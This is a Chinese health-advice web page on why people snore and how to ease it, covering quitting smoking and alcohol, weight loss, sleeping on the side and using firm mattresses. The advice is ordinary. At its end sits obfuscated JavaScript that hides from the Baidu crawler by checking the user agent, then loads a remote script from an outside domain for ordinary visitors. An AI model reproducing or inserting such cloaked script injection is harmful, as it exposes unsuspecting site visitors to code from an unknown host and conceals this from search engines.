当前位置:首页 > 健康 > 常见疾病 > 正文

最近一直打呼噜怎么回事?

2017-06-18 00:14:55  来源:360常识网   热度:
导语:打呼噜在临床上又被称为打鼾,在我们生活中很多人睡觉的时候都会打鼾,对这种现象屡见不鲜,所以很多人不会重视。生活中也有人因为肥胖、睡

打呼噜在临床上又被称为打鼾,在我们生活中很多人睡觉的时候都会打鼾,对这种现象屡见不鲜,所以很多人不会重视。生活中也有人因为肥胖、睡眠姿势不正确、精神压力大等短期内出现打鼾的现象,该如何缓解呢相信是很多人都关注的问题,今天就让小编告诉你该如何治疗吧!

1、避免吸烟、饮酒和刺激性药物:吸烟、饮酒和刺激性药物会让肌肉更加松弛,而更会堵住呼吸

道。酒精有麻醉作用,可引起肌肉松弛,导致鼾声如雷。习惯性打鼾者睡前应禁止饮酒,尤其是烈性酒。而烟雾中的毒物刺激呼吸道,引起呼吸道肿胀,导致气道不畅。

2、减肥:肥胖者的鼻息肉通常也较肥大,而且喉咙和鼻子内的肉也较肥厚,比较容易会堵塞住呼吸道。关于打鼾温馨提示:对于打鼾的现象要有一个正确的认识,不要认为是轻度打鼾就开始怠慢,其无论是哪一种打鼾,都对于人体有百害而无一利,正确的意识,积极的预防,专业的治疗才是最佳的选择。

3、睡眠:正确使用枕头,仰睡或趴着睡比较会让呼吸道不顺畅,侧睡时,松弛的肌肉会倾向一边,比较不会堵住呼吸道。枕头不宜过高,厚度以单侧肩宽为宜。

4、睡前不要从事刺激的活动:睡前的活动最好以柔缓的为主,不要让情绪太过激昂,因为神经会无法立刻放松,使得晚上无法安安稳稳的休息。

5、打鼾严重者,床垫不应太软,最好睡硬板床。

看了以上内容,小编相信聪明的你不但已经知道该如何缓解打鼾,也已经知道都是哪些原因导致睡觉的时候打鼾了。小编建议你平时生活中保持良好的心态,晚上睡觉的时候床垫不要太松软,平时保持良好的生活规律和习惯,戒烟戒酒。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}